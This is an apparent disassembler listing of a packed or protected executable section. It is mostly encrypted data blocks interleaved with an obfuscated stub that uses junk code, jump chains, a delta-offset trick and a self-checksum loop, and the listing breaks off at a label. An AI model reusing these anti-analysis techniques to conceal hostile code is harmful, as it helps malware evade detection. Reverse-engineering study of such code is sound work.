dd 0FFC8C588h, 97EAD6DAh, 61F7C0DBh, 0D0C5EA92h, 5D77C0A7h dd 0DE6F9253h, 27B1454Bh, 4960722Ch, 77DD3CA9h, 0DFA0875Dh dd 8F560688h, 59284B8Dh, 0B367DFB0h, 8942E5B4h, 44664629h dd 39852F89h, 67AC13E5h, 5F2EFAEEh, 2A4CAF86h, 1A0AC636h dd 0C8E29969h, 2408A07Fh, 0E6356C9Eh, 1F7C2FB4h, 0B9AE3186h dd 9841124Bh, 41B43F07h, 16CB424Eh, 3F78D1F1h, 26969F6Fh dd 2AA16E20h, 7AA1FC6Ah, 92D1561Eh, 3E3A43CAh, 97021D9Bh dd 0FC8717AAh, 3CB7F22Bh, 25255A6Fh, 0F4B49FC1h, 0C0E45E95h dd 62778C6Ch, 3F1E109Ah, 7580D4ACh, 535D4C51h, 78FCDEDEh dd 0F2243B82h, 0D192D77Fh, 10688C5Ch, 0CB7414C9h, 992EC5F4h dd 6BF5440Eh, 60A2F595h, 4B5F80B8h, 0A12D6954h, 56BB370Eh dd 0C70A4538h, 3B185E84h, 3D5ECEFEh, 0B98CDC9Dh, 1430341Ah dd 0A089DE1Ch, 58B6A3B0h, 89B26D31h, 6BE28B6Ch, 0CFC87B2Ch dd 6F8AA21Eh, 6BF59E3Dh, 461F3B28h, 0AE5D6109h, 0E26B0527h dd 22F19921h, 6EEE2641h, 7166B70Bh, 0F4C3547Fh, 0D643E483h dd 6E7EDCB1h, 929364C3h, 3C6A6C93h, 9DF3ACD8h, 0A319AD4Fh dd 7AAEB155h, 50483BDEh, 9BCA6540h, 77717513h, 423B5298h dd 6B187BB6h, 0E2EB469Ch, 0D283A90h, 0EF46F9B4h, 0ADA7D2A9h dd 691A79EFh, 4162E66Fh, 743C8BF5h, 0EF464D8Dh, 58276AC5h dd 31CFD0E9h, 0E82DBDE0h, 0C81613B8h, 2727EBD7h, 0A6189955h dd 2F7CD771h, 5103F872h, 6D857773h, 0DBA6926Fh, 326714E8h dd 7198E5ACh, 55D74DA4h, 1AB484D5h, 0D0B15997h, 965E5053h dd 0D2103695h, 0C44AB240h, 0B73F8F7Dh, 5864A483h, 9FA8C886h dd 9B453C63h, 0FC9E79EDh, 66307852h, 5616C207h, 3D59DB09h dd 0F2C05548h, 6E98EFF4h, 346AC525h, 2A86C9h, 9B39BF82h dd 31D702CBh, 36B48429h, 935ED569h, 18C7A2F9h, 6B0C05A7h dd 0F8DD1A0Fh, 3F362FBh, 0A54CAD7Bh, 9086FA0Dh, 803A23BEh dd 0D2FF103Eh, 70AA6FBBh, 0EA037AD9h, 5AC88693h, 40929222h dd 33AD915Dh, 0C1369841h, 0B43A7364h, 0C3E7C141h, 7869FD61h dd 202EF247h, 832FA33Ch, 517FBF05h, 0D81B1988h, 0EEE0BCC8h dd 4BFACD31h, 364AA23Fh, 53C5B5D8h, 0FCDAAB15h, 8A8BDC5Ch dd 868722EDh, 0C4C8536Ch, 0A79E4333h, 0C0C242DBh, 0A3ECD14Ch dd 83BDBD8Eh, 0BE882ECCh, 781B622Dh, 2A6B17BBh, 29B22A29h dd 80260D48h, 5634AE6Ah, 0B142BDCEh, 0B6DE5231h, 0BC3B9526h dd 0AEFF6BCAh, 7E5F224Bh db 67h, 3Bh ; --------------------------------------------------------------------------- loc_46D59E: ; CODE XREF: DMN1:loc_46E1C3j popa pop ebp jmp loc_46BC00 ; --------------------------------------------------------------------------- cdq adc [esi], esp jns short loc_46D5FC xchg eax, ebp pop esp jmp short loc_46D5D5 ; --------------------------------------------------------------------------- dw 4B1Bh dd 17D54DB9h, 0A0F02464h, 2028C471h, 0CB14C68Dh, 62E36894h dd 255A4501h, 5E3FDD2Ch, 82024154h, 0AF00D525h db 0BDh ; --------------------------------------------------------------------------- loc_46D5D5: ; CODE XREF: DMN1:0046D5ACj call near ptr 0F0E8C83h hlt ; --------------------------------------------------------------------------- db 91h dd 82FA09B0h, 12A6B999h, 7D18FDDFh, 0AB7E904Ch, 98DD239Fh dd 8959425Ah, 0EF50E9C6h, 810ABECAh ; --------------------------------------------------------------------------- loc_46D5FC: ; CODE XREF: DMN1:0046D5A8j out 0F9h, eax ; AT 80287 data. ; 286 sends opcodes & operands and receives results. aad 6Bh sub [esi+0D6F046Dh], ch dec esi jmp far ptr 0EDCFh:0C8AFE544h ; --------------------------------------------------------------------------- dw 0BAF8h dd 67E04137h, 6A3D9809h, 1F0680C2h, 838E8357h, 0EA3639F0h dd 81DC5DF4h, 2D3DFD87h, 52480B86h, 0D7B70BCCh, 0E9B4A0C8h dd 0A15478Bh, 0B2E08B6Bh, 532C64Bh, 4E643888h, 0FC01FAACh dd 4D208663h, 2CBB2565h, 0E67E4CB7h, 0C9D80313h, 71F10BABh dd 0DF97E11Ch, 0DCAF2967h, 29A12F6Eh, 8FA7A89Bh, 9BFAE0C4h dd 4FCE9186h, 1A89BAA6h, 3C2AAD76h, 9420368Ch, 7518A7Ch dd 0AA71DD1Ch, 1970B609h, 0A3429BCEh, 2766473Ah, 8D0156BEh dd 2820813Dh, 88AC05D1h, 0E2CE3AA9h, 0C016B93Dh, 83B44182h dd 0C56F9BEFh, 5615C219h, 4AB043Ch, 67C4850Dh, 0C8EEC024h dd 6F5B9ED4h, 7E24F971h, 4570D5B5h, 3659BF43h, 0EDC771C8h dd 34FA9E23h, 68A33DD2h, 5E4E172h, 546E5BBBh, 0AEE6AE96h dd 34FEC8E8h, 870822BAh, 30EA1AC4h, 1BFAD399h, 452C302Fh dd 0B73E658h, 7517910Fh, 2B9472FCh, 3605396Bh, 0BB49A12Eh dd 431D1987h, 0A8DD4F7Bh, 0A3DF445Bh, 0AC7F54CEh, 29D86FF9h dd 0D4828D41h, 9C09D5B6h, 0C0ED2182h, 7511780Bh, 423F46ADh dd 0FB851D01h, 12B9FBB7h, 0CCC92A4Fh, 7859E623h, 7784EF42h dd 0AD0FDBE3h, 393B8321h, 0BBCBA3CCh, 0E9FC54F1h, 5D64163Ah dd 0ABBA68BCh, 0EA825779h, 54D6A502h, 79E99FFBh, 5C6E5DD8h dd 0D152D710h, 716089F5h, 0A2FCDE40h, 0BCFDBD14h, 460B091Ch dd 4AC9A90Ch, 89C2FC1Dh, 0E4CC9D07h, 0A8DBE2BAh, 0A8127AD8h dd 87D08279h, 1087FB11h, 4C84C1Ah, 11A2DA9Fh, 4908D5A4h dd 550CB2F6h, 9E140651h, 0EFE015DDh, 0BCD64095h, 0A113D364h dd 57564C34h, 0C4A809ABh, 80CBDBADh, 0C544DCBFh, 80E457D4h dd 892F39C1h, 6A59BC6Eh, 0D96E0AD8h, 3E96F4D5h, 0EE6F9EAAh dd 7293507h, 0CE3AD05Eh, 0C677ABBCh, 0A5279856h, 0B91B9B2Eh dd 0D39A3B71h, 0F3FCF945h, 0A6437FCAh, 0DF9DC299h, 47F5741Dh dd 73BC5651h, 4CB5B210h, 0EE545EE6h, 0B412804Eh, 2E739785h dd 23E0275h, 7264925Eh, 0E9BC5C7h, 0E25DFFF4h, 0D6FA16DAh dd 4CE4FD9h, 0ABF83D9Ch, 3F0621DBh, 0E69B01C9h, 0F2315C49h dd 41348F8Eh, 88B382EFh, 921B597Ch, 0AB54C0DCh, 0E5CDAE79h dd 66485B01h, 7D54AC40h, 6508DFACh, 0AF4B9778h, 0F55F6E3Eh dd 0AADA887Dh, 0B30E3FC2h, 0F91A1D2Dh, 0E384496Dh, 1AFDF54Bh dd 3DF63E16h, 3D533A83h, 8DA848B6h, 6E846Ch, 1E476763h dd 0D3F79B07h, 79E153D2h, 0A570F5C1h, 0E72F901Dh, 72EAFFDAh dd 0A2DC1636h, 9D16B1B0h, 10B3DF05h, 0FFA2CC7Fh, 0C0525869h dd 0D53CDD92h, 89768784h, 6DF58D21h, 5FDB4087h, 390E5FECh dd 3BBCB5Bh, 1549B8A4h, 3851B46Bh, 0CA14023Ah, 4A3C7493h dd 0D0AE38EDh, 22A8DAFAh, 0BCE33B8Eh, 668B3BBDh, 0FDBB3096h dd 5A2DB5A6h, 92292CCAh, 0F3391D2Ah, 630029AFh, 40D5E8B6h dd 73D544FAh, 0A5F14AD8h, 0DA96DDE1h, 0E8BA2AADh, 93572CBFh dd 2F9A3276h, 0B9454063h, 0A9649DA1h, 36375396h, 3B34ED2Bh dd 873155h, 8CC5E377h, 77E6A2B6h, 8CAF4416h, 514DECDCh dd 96DBF0Dh, 0FEDBC061h, 0CCAD8B3Bh, 0E69BB22Bh, 9A9EEDB3h dd 0B821BDh, 824A221h, 92C79E10h, 367CB3DDh, 74CACAC3h dd 6598B0Fh, 0BAAF3638h, 86D5C934h, 785AE167h, 0D089D924h dd 0AF7F87Ch, 0CBFE3E46h, 0D4C8623Dh, 547654C9h, 36DA4FFFh dd 0C9ECF3E3h, 0AA50364Ah, 0EF6FB79Dh, 50E95846h, 0DDBBBFB4h dd 89518C45h, 0CB0C9E1Dh, 76EDF863h, 6F1A11A9h, 6AB17EAAh dd 50288DF3h, 45331AF6h, 0A4EF91BBh, 23225D26h, 0B28F4DDh dd 4D2840B6h, 0A58AFF6Eh, 0CFF26F46h, 88E6B796h, 0C98A57Dh dd 503BD18Eh, 5FFC4FDAh, 3A3890BAh, 0ADD9F9F1h, 3A90E820h dd 0EB216E8Ch, 0FAF87F0Ah, 7A926199h, 1A3CE301h ; --------------------------------------------------------------------------- cli mov ch, 8Bh loc_46DA1F: ; CODE XREF: DMN1:0046E1CAj push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6DA27h pusha mov esi, 6DA1Fh add esi, ebp mov edi, 7A9h push ebx push ecx push edx push esi push edi cld xor ecx, ecx loc_46DA43: ; CODE XREF: DMN1:0046DA92j dec ecx mov edx, ecx push ebx loc_46DA47: ; CODE XREF: DMN1:0046DA70j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46DA56: ; CODE XREF: DMN1:0046DA69j shr bx, 1 rcr ax, 1 jnb short loc_46DA67 xor ax, 8320h xor bx, 0EDB8h loc_46DA67: ; CODE XREF: DMN1:0046DA5Cj dec dh jnz short loc_46DA56 xor ecx, eax xor edx, ebx dec edi jnz short loc_46DA47 pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx push eax xchg esi, esi jmp short loc_46DA99 ; --------------------------------------------------------------------------- mov bl, 53h jl short loc_46DADD sbb ecx, [ebx] sar byte ptr [ecx+36h], 1 jnp short loc_46DA43 sbb al, 62h add esi, edx sahf loc_46DA99: ; CODE XREF: DMN1:0046DA87j jmp short loc_46DAB6 ; --------------------------------------------------------------------------- db 59h dd 8E395761h, 0E65035FCh, 18C97F6h, 0E41EBA43h, 50E7677Ah dd 0F8D381EFh db 8Eh, 90h ; --------------------------------------------------------------------------- loc_46DAB6: ; CODE XREF: DMN1:loc_46DA99j mov ebx, 41000h bswap edi jmp short loc_46DACB ; --------------------------------------------------------------------------- db 59h dd 0F91ACE66h, 8F7EE39h db 0DBh, 0Bh, 2 ; --------------------------------------------------------------------------- loc_46DACB: ; CODE XREF: DMN1:0046DABDj jmp short loc_46DAE6 ; --------------------------------------------------------------------------- dec esi test eax, 1CB36B5Fh dec esi mov byte ptr [edi+2F61E8D6h], 0A0h pop esp dec eax loc_46DADD: ; CODE XREF: DMN1:0046DA8Bj ; DMN1:loc_46DADDj jg short near ptr loc_46DADD+1 cld inc eax xchg eax, edi ; --------------------------------------------------------------------------- dw 0B73Bh db 76h, 0A2h ; --------------------------------------------------------------------------- loc_46DAE6: ; CODE XREF: DMN1:loc_46DACBj jmp short loc_46DB00 ; --------------------------------------------------------------------------- dd 94BE320Ch, 4DEA6AF2h, 0DDFE1901h, 959333Eh, 0E430F504h dd 4A515BE5h ; --------------------------------------------------------------------------- loc_46DB00: ; CODE XREF: DMN1:loc_46DAE6j neg esi jmp short loc_46DB23 ; --------------------------------------------------------------------------- dd 8F05C3DAh, 347F497Ch, 16AAF3F5h, 0ED57A464h, 0AE504AAEh dd 0F5375265h, 0EB5E214Bh db 0A1h, 0E3h, 3Eh ; --------------------------------------------------------------------------- loc_46DB23: ; CODE XREF: DMN1:0046DB02j jmp short loc_46DB38 ; --------------------------------------------------------------------------- db 79h, 96h, 4Dh dd 4BFD560Ah, 0F6578984h, 0D6ABF3F8h, 13191862h ; --------------------------------------------------------------------------- loc_46DB38: ; CODE XREF: DMN1:loc_46DB23j mov edx, 0B212h loc_46DB3D: ; CODE XREF: DMN1:0046E17Aj jmp short loc_46DB47 ; --------------------------------------------------------------------------- cdq inc ebp jz short loc_46DB55 push ss mov bl, 43h icebp loc_46DB47: ; CODE XREF: DMN1:loc_46DB3Dj cld xchg ebx, edi xchg ebp, ebp and esi, 0B2E50EF7h cld jmp short loc_46DB63 ; --------------------------------------------------------------------------- loc_46DB55: ; CODE XREF: DMN1:0046DB41j stc inc esp xor al, 0BDh sbb gs:[ecx], edi inc edx aam 2Dh imul ecx, [esi], 41h ; --------------------------------------------------------------------------- db 0D0h ; --------------------------------------------------------------------------- loc_46DB63: ; CODE XREF: DMN1:0046DB53j jmp short loc_46DB84 ; --------------------------------------------------------------------------- db 88h, 0E5h, 13h dd 0AD4868C6h, 3C997853h, 0AB3F9A2Ah, 0E789D53Ah, 0A2123C41h dd 0A1A9B10Fh, 869C98B0h ; --------------------------------------------------------------------------- loc_46DB84: ; CODE XREF: DMN1:loc_46DB63j jmp short loc_46DB95 ; --------------------------------------------------------------------------- dw 0FC2Ah dd 538F7420h, 0C22B8EF4h, 0AD58564Ch db 34h ; --------------------------------------------------------------------------- loc_46DB95: ; CODE XREF: DMN1:loc_46DB84j jmp short loc_46DBA9 ; --------------------------------------------------------------------------- scasb db 3Eh add bl, [ebx+18h] push ss dec eax db 3Eh jbe short near ptr byte_46DBEE add [edx+0CC353F7h], al pop ecx pop ebx loc_46DBA9: ; CODE XREF: DMN1:loc_46DB95j xchg ecx, edi jmp short loc_46DBC3 ; --------------------------------------------------------------------------- push edi adc eax, [ebx+4842E88Ah] retn ; --------------------------------------------------------------------------- db 19h, 7Bh, 0ACh dd 1B98E6D5h, 86F976E1h db 7Ah, 0E0h, 0ADh ; --------------------------------------------------------------------------- loc_46DBC3: ; CODE XREF: DMN1:0046DBABj xchg edi, edx cld jmp short loc_46DBDF ; --------------------------------------------------------------------------- dd 0A355EEh, 1DA63B5Dh, 97ABCBF5h, 37A69093h, 0D8D1AE69h db 37h, 97h, 0EEh ; --------------------------------------------------------------------------- loc_46DBDF: ; CODE XREF: DMN1:0046DBC6j mov esi, ecx jmp short loc_46DBEF ; --------------------------------------------------------------------------- db 65h dd 0BFC6BE65h, 0E6D497CDh db 6Ch, 0BEh byte_46DBEE db 7Eh ; CODE XREF: DMN1:0046DB9Ej ; --------------------------------------------------------------------------- loc_46DBEF: ; CODE XREF: DMN1:0046DBE1j jmp short loc_46DC00 ; --------------------------------------------------------------------------- align 2 dw 0B408h dd 0AC9344B4h, 0EA1E6CADh, 2BCB115Ch ; --------------------------------------------------------------------------- loc_46DC00: ; CODE XREF: DMN1:loc_46DBEFj bswap eax test ebx, 76C86A8Dh jmp short loc_46DC1F ; --------------------------------------------------------------------------- dw 83A7h dd 0B77BE107h, 2E4400C2h, 0E9DF70DEh, 2E3D80EBh ; --------------------------------------------------------------------------- sti shr edi, 1 loc_46DC1F: ; CODE XREF: DMN1:0046DC08j jmp short loc_46DC2A ; --------------------------------------------------------------------------- push ss lodsb xor al, 0CAh adc [ebx+30h], al jbe short near ptr unk_46DC76 loc_46DC2A: ; CODE XREF: DMN1:loc_46DC1Fj jmp short loc_46DC3A ; --------------------------------------------------------------------------- dec ecx aaa nop das dec ebp push ebx movsd rcl dword ptr ds:51CB9E85h, 0BEh loc_46DC3A: ; CODE XREF: DMN1:loc_46DC2Aj cld xchg edx, ebp jmp short loc_46DC5C ; --------------------------------------------------------------------------- db 45h dd 639BA8FAh, 0D9045CE2h, 38C83D8Ch, 0AFAB6B37h, 8F2393BAh dd 0CBD811B1h, 20A7F22Bh ; --------------------------------------------------------------------------- loc_46DC5C: ; CODE XREF: DMN1:0046DC3Dj cmc jmp short loc_46DC6C ; --------------------------------------------------------------------------- db 5Eh dd 5018997Eh, 0F4D07FF8h, 10D06D1h ; --------------------------------------------------------------------------- loc_46DC6C: ; CODE XREF: DMN1:0046DC5Dj jmp short loc_46DC7A ; --------------------------------------------------------------------------- dw 0A8C8h db 4Dh ; M db 71h ; q db 78h ; x db 18h db 0B4h ; ´ db 0C3h ; Ã unk_46DC76 db 0Dh ; CODE XREF: DMN1:0046DC28j db 40h ; @ db 95h ; • db 21h ; ! ; --------------------------------------------------------------------------- loc_46DC7A: ; CODE XREF: DMN1:loc_46DC6Cj add esi, edx cld clc jmp short loc_46DC8B ; --------------------------------------------------------------------------- db 67h, 90h dw 96E2h dd 7BF1EDB3h db 74h, 45h, 0EDh ; --------------------------------------------------------------------------- loc_46DC8B: ; CODE XREF: DMN1:0046DC7Ej not ebx stc mov ebp, [esi] jmp short loc_46DCA5 ; --------------------------------------------------------------------------- dw 70A1h dd 0ACD9E317h, 0CA30BB6Dh, 2ACBD1F6h, 3FE38563h db 19h ; --------------------------------------------------------------------------- loc_46DCA5: ; CODE XREF: DMN1:0046DC90j jmp short $+2 stc jmp short loc_46DCB1 ; --------------------------------------------------------------------------- dw 7826h ; --------------------------------------------------------------------------- mov eax, ds:75D0F087h loc_46DCB1: ; CODE XREF: DMN1:0046DCA8j jmp short loc_46DCBD ; --------------------------------------------------------------------------- db 8Ah dd 2B79604Eh, 231D4A39h db 24h ; --------------------------------------------------------------------------- loc_46DCBD: ; CODE XREF: DMN1:loc_46DCB1j clc jmp short loc_46DCD7 ; --------------------------------------------------------------------------- retf 8BACh ; --------------------------------------------------------------------------- db 95h dd 1034E695h, 0D1795512h, 0B0A07F32h, 1C21F83Bh ; --------------------------------------------------------------------------- dec esi fidivr word ptr [edx] loc_46DCD7: ; CODE XREF: DMN1:0046DCBEj xchg esi, eax jmp short loc_46DCDF ; --------------------------------------------------------------------------- db 0B2h db 0EDh, 0CAh, 0FFh ; --------------------------------------------------------------------------- loc_46DCDF: ; CODE XREF: DMN1:0046DCD9j clc xchg edx, eax jmp short loc_46DCFA ; --------------------------------------------------------------------------- dd 8D51DE7Ch, 2078FA85h, 0C480CBB1h, 9933F300h, 1210544Fh db 59h, 6Ch ; --------------------------------------------------------------------------- loc_46DCFA: ; CODE XREF: DMN1:0046DCE2j jmp short loc_46DD11 ; --------------------------------------------------------------------------- dd 19D19A8h, 93206355h, 0B202A24Eh, 0F8E15EAFh, 7679392Bh db 0EAh ; --------------------------------------------------------------------------- loc_46DD11: ; CODE XREF: DMN1:loc_46DCFAj jmp short loc_46DD2D ; --------------------------------------------------------------------------- db 5Fh dd 2C815DE5h, 0E00C8F92h, 0E920C41Ch, 0F1E2092Ch, 0EB97064Eh dd 1BE4F86Ch db 0B1h ; --------------------------------------------------------------------------- loc_46DD2D: ; CODE XREF: DMN1:loc_46DD11j jmp short loc_46DD46 ; --------------------------------------------------------------------------- db 30h dd 0B4B9EBCFh, 0E609637Dh, 9437427Fh, 0DED90F7Ah, 2BE911D5h db 0E5h, 9Ch ; --------------------------------------------------------------------------- loc_46DD46: ; CODE XREF: DMN1:loc_46DD2Dj xor ebp, [esp] xchg ebp, eax cmp esi, 0C408563h jmp short loc_46DD62 ; --------------------------------------------------------------------------- db 0C8h dd 0B57FFAAh, 0B7ED9689h, 0AC9ACEB1h db 0A2h, 0FCh ; --------------------------------------------------------------------------- loc_46DD62: ; CODE XREF: DMN1:0046DD51j jmp short loc_46DD79 ; --------------------------------------------------------------------------- dd 7B31E46Eh, 91A210EDh, 1B3548C3h, 0E711510Bh, 12E21CA3h ; --------------------------------------------------------------------------- cli loc_46DD79: ; CODE XREF: DMN1:loc_46DD62j jmp short loc_46DD90 ; --------------------------------------------------------------------------- db 0E9h dd 86F677F4h, 7FF667C3h, 0AEF19C2Eh, 55CC994Ch, 9C6496DEh ; --------------------------------------------------------------------------- loc_46DD90: ; CODE XREF: DMN1:loc_46DD79j cld clc jmp short loc_46DD96 ; --------------------------------------------------------------------------- db 9Ah, 55h ; --------------------------------------------------------------------------- loc_46DD96: ; CODE XREF: DMN1:0046DD92j jmp short loc_46DDB3 ; --------------------------------------------------------------------------- dd 1EAA4D2Ch, 0DBB62E01h, 0D5D18E8Eh, 1C1929E2h, 6068CADh dd 9DB52A96h ; --------------------------------------------------------------------------- adc eax, [ecx+7Ah] loc_46DDB3: ; CODE XREF: DMN1:loc_46DD96j jmp short loc_46DDC8 ; --------------------------------------------------------------------------- db 14h, 6Eh, 2Dh dd 95D2D694h, 727B8096h, 0E9B255FEh, 8BF24261h ; --------------------------------------------------------------------------- loc_46DDC8: ; CODE XREF: DMN1:loc_46DDB3j jmp short loc_46DDE7 ; --------------------------------------------------------------------------- dw 279Dh dd 0A919C1D8h, 9003D587h, 0E6519D12h, 2C724081h, 2A74AF06h dd 0D6B6ECCDh ; --------------------------------------------------------------------------- add [edx], ebp dec ecx loc_46DDE7: ; CODE XREF: DMN1:loc_46DDC8j jmp short loc_46DE05 ; --------------------------------------------------------------------------- db 0DEh, 0EEh, 0BDh dd 0F4190D13h, 0A91266E0h, 0EFC77333h, 0B21A101h, 0C9164024h dd 2DC48F13h db 6Dh ; --------------------------------------------------------------------------- loc_46DE05: ; CODE XREF: DMN1:loc_46DDE7j jmp short loc_46DE1F ; --------------------------------------------------------------------------- db 7Fh dd 18934E9Ch, 572B01B7h, 0C5F6EF10h, 2C47EBAh, 10B81F80h db 0FEh, 61h, 5Dh ; --------------------------------------------------------------------------- loc_46DE1F: ; CODE XREF: DMN1:loc_46DE05j jmp short loc_46DE24 ; --------------------------------------------------------------------------- mov ch, 82h push ecx loc_46DE24: ; CODE XREF: DMN1:loc_46DE1Fj jmp short loc_46DE2A ; --------------------------------------------------------------------------- dw 0AEEBh db 0F6h, 3Dh ; --------------------------------------------------------------------------- loc_46DE2A: ; CODE XREF: DMN1:loc_46DE24j xchg eax, [esp] jmp short loc_46DE32 ; --------------------------------------------------------------------------- db 96h db 4Fh, 0Ah ; --------------------------------------------------------------------------- loc_46DE32: ; CODE XREF: DMN1:0046DE2Dj jmp short loc_46DE4C ; --------------------------------------------------------------------------- dd 1D0B3D42h, 7FF9990Dh, 0D01CDDD7h, 4F66F236h, 4D65174Eh dd 1BAB2ECEh ; --------------------------------------------------------------------------- loc_46DE4C: ; CODE XREF: DMN1:loc_46DE32j jmp short loc_46DE6A ; --------------------------------------------------------------------------- dw 67B8h dd 0F06EE0h, 652B444Ah, 5C985B32h, 134F42D8h, 0C38F651Eh dd 276018A5h ; --------------------------------------------------------------------------- jge short loc_46DE90 loc_46DE6A: ; CODE XREF: DMN1:loc_46DE4Cj jmp short loc_46DE75 ; --------------------------------------------------------------------------- dd 332DA129h, 0B9F07A61h db 1Bh ; --------------------------------------------------------------------------- loc_46DE75: ; CODE XREF: DMN1:loc_46DE6Aj ; DMN1:0046DE94j jmp short loc_46DE8D ; --------------------------------------------------------------------------- db 32h dd 7A0D5649h, 1C66C826h, 8754CC23h, 0C9202AE1h, 5E7ADFADh db 86h ; --------------------------------------------------------------------------- loc_46DE8D: ; CODE XREF: DMN1:loc_46DE75j std neg ebx loc_46DE90: ; CODE XREF: DMN1:0046DE68j jmp short loc_46DEA0 ; --------------------------------------------------------------------------- xchg eax, esi dec eax jnp short loc_46DE75 ror byte ptr [edi+14A22DFFh], 35h retf ; --------------------------------------------------------------------------- fcom st(6) loc_46DEA0: ; CODE XREF: DMN1:loc_46DE90j std jmp short loc_46DEBA ; --------------------------------------------------------------------------- db 46h dd 228D166Ch, 9AC398A4h, 2A4DEE03h, 0FBF1B012h, 412F42CEh db 29h, 73h ; --------------------------------------------------------------------------- loc_46DEBA: ; CODE XREF: DMN1:0046DEA1j std ror eax, 1 cmc jmp short loc_46DEC3 ; --------------------------------------------------------------------------- db 26h, 90h db 74h ; --------------------------------------------------------------------------- loc_46DEC3: ; CODE XREF: DMN1:0046DEBEj jmp short loc_46DECC ; --------------------------------------------------------------------------- fldcw word ptr [eax+9] sub ah, ch fdivrp st(1), st loc_46DECC: ; CODE XREF: DMN1:loc_46DEC3j cld jmp short loc_46DED8 ; --------------------------------------------------------------------------- test [ebx], al inc ecx cld adc eax, 516CDFC4h loc_46DED8: ; CODE XREF: DMN1:0046DECDj jmp short loc_46DEDB ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_46DEDB: ; CODE XREF: DMN1:loc_46DED8j jmp short loc_46DEFB ; --------------------------------------------------------------------------- db 71h, 9Fh, 0A2h dd 8F59714Ch, 32D8FE5h, 0BD808F1Bh, 72E385Ah, 4A3789DEh dd 0B599274Bh ; --------------------------------------------------------------------------- mov ah, [ebp-7] loc_46DEFB: ; CODE XREF: DMN1:loc_46DEDBj jmp short loc_46DF08 ; --------------------------------------------------------------------------- db 3, 85h, 26h dd 142F525Bh, 3BE2E5E9h ; --------------------------------------------------------------------------- loc_46DF08: ; CODE XREF: DMN1:loc_46DEFBj jmp short loc_46DF1B ; --------------------------------------------------------------------------- dw 0A353h dd 0A4E6D0Fh, 0E9DBB9BDh, 53FFF6Ah db 25h, 0D0h, 0A8h ; --------------------------------------------------------------------------- loc_46DF1B: ; CODE XREF: DMN1:loc_46DF08j cmc jmp short loc_46DF28 ; --------------------------------------------------------------------------- dw 3645h dd 0D3FC6F55h, 22E3D22Bh ; --------------------------------------------------------------------------- loc_46DF28: ; CODE XREF: DMN1:0046DF1Cj clc std clc jmp short loc_46DF47 ; --------------------------------------------------------------------------- db 41h, 0CFh, 79h ; --------------------------------------------------------------------------- lodsb fstp8 st cmp eax, 0B51F611h pop es fist word ptr [ecx+11E0A5E1h] mov edi, 0D02D2144h retf 3BD9h ; --------------------------------------------------------------------------- loc_46DF47: ; CODE XREF: DMN1:0046DF2Bj sub eax, 7E8E9E95h test esi, 39FCF0FAh jmp short loc_46DF65 ; --------------------------------------------------------------------------- db 0CFh, 0CBh, 0Dh dd 2FE7E49Eh, 18AADEBEh, 0F0870374h db 33h ; --------------------------------------------------------------------------- loc_46DF65: ; CODE XREF: DMN1:0046DF53j xchg eax, [esp] jmp short loc_46DF75 ; --------------------------------------------------------------------------- dw 6CA4h dd 0D027C213h, 860BEC3Fh db 6Ah ; --------------------------------------------------------------------------- loc_46DF75: ; CODE XREF: DMN1:0046DF68j jmp short loc_46DF94 ; --------------------------------------------------------------------------- db 94h dd 0ED72EB0Dh, 0FB53A954h, 7E4F9787h, 4973C7C5h, 5955186Eh dd 442BA0CCh, 0DB7E13ECh ; --------------------------------------------------------------------------- loc_46DF94: ; CODE XREF: DMN1:loc_46DF75j jmp short loc_46DFA1 ; --------------------------------------------------------------------------- leave popf push 9E3EF194h xor [edi-25h], ebp popa loc_46DFA1: ; CODE XREF: DMN1:loc_46DF94j jmp short loc_46DFA9 ; --------------------------------------------------------------------------- db 0D3h dd 5EFAB47Ah db 85h ; --------------------------------------------------------------------------- loc_46DFA9: ; CODE XREF: DMN1:loc_46DFA1j jmp short loc_46DFB2 ; --------------------------------------------------------------------------- db 3Ch dd 3B0563ECh db 5Dh, 73h ; --------------------------------------------------------------------------- loc_46DFB2: ; CODE XREF: DMN1:loc_46DFA9j jmp short loc_46DFC2 ; --------------------------------------------------------------------------- dd 4C2D70DCh, 0C3A25665h, 89829591h db 8Bh, 0DBh ; --------------------------------------------------------------------------- loc_46DFC2: ; CODE XREF: DMN1:loc_46DFB2j mov esi, ebp jmp short $+2 jmp short loc_46DFDE ; --------------------------------------------------------------------------- dd 8E8D4B85h, 0B01902DEh, 2B8C04E2h, 0B52FE5E8h, 41AFA821h db 6, 0C0h ; --------------------------------------------------------------------------- loc_46DFDE: ; CODE XREF: DMN1:0046DFC6j add esi, ecx jmp short loc_46DFF2 ; --------------------------------------------------------------------------- dw 799Bh dd 0E83B4B0Ch, 94FD8D3Bh, 6D7025Dh db 0A1h, 1 ; --------------------------------------------------------------------------- loc_46DFF2: ; CODE XREF: DMN1:0046DFE0j jmp short loc_46DFFD ; --------------------------------------------------------------------------- leave push edx pop ebp sub bh, [ebx+47D20CEh] loc_46DFFD: ; CODE XREF: DMN1:loc_46DFF2j jmp short loc_46E003 ; --------------------------------------------------------------------------- db 23h db 9, 0E5h, 62h ; --------------------------------------------------------------------------- loc_46E003: ; CODE XREF: DMN1:loc_46DFFDj jmp short loc_46E00C ; --------------------------------------------------------------------------- db 0D4h, 70h, 76h db 1Ch db 7Fh ; db 0Ah db 0EDh ; í ; --------------------------------------------------------------------------- loc_46E00C: ; CODE XREF: DMN1:loc_46E003j xchg ebp, edx jmp short loc_46E020 ; --------------------------------------------------------------------------- dd 0BDE81114h, 0EAF16527h, 466D8522h, 8EE14057h ; --------------------------------------------------------------------------- loc_46E020: ; CODE XREF: DMN1:0046E00Ej jmp short loc_46E029 ; --------------------------------------------------------------------------- dw 0C5AFh dd 0F5E3073h ; --------------------------------------------------------------------------- aas loc_46E029: ; CODE XREF: DMN1:loc_46E020j cmc mov [esi], eax bswap ebp xchg ecx, ebx jmp short loc_46E046 ; --------------------------------------------------------------------------- dw 0EA0h dd 70683711h, 752095FFh, 0BBA4EECBh, 62E8D09Bh db 8Ch, 1Dh ; --------------------------------------------------------------------------- loc_46E046: ; CODE XREF: DMN1:0046E030j add ebx, 2 cmc jmp short loc_46E052 ; --------------------------------------------------------------------------- dd 3D5E72Bh db 0Fh, 0BBh ; --------------------------------------------------------------------------- loc_46E052: ; CODE XREF: DMN1:0046E04Aj jmp short loc_46E05B ; --------------------------------------------------------------------------- dd 712AACBBh db 13h, 9Ch, 21h ; --------------------------------------------------------------------------- loc_46E05B: 